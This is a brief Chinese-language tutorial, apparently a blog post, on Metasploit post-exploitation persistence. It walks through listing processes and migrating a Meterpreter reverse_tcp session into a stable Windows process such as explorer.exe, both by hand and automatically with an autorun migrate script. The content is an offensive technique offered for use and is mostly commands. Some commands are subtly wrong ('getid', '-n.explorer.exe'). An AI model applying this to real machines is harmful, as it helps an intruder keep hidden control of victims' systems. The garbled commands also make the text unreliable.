Msf 进程迁移和自动化迁移指定进程

meterpreter作为一个进程时容易被清除，如果将它和系统经常运行的进程进行绑定，就能够实现持久化

1.进程迁移

1. 在Meterpreter下输入ps(获取目标机正在运行的进程，记住目标进程的pid xxxx)
2. 输入getpid命令（查看meterpreter shell的pid调到XXXX里相对稳定应用的进程里）
3. 输入migrate xxxx (将meterpreter shell的pid调到xxxx里相对稳定应用的进程里）
4. 最后用getid再次查看下是否更换成公
   2.上线后自动化迁移指定进程
   在set payload windows/meterpreter/reverse_tcp 和设置完端口和host,执行 set autorunscript migrate -n.explorer.exe

tasklist
taskkill /pid 1122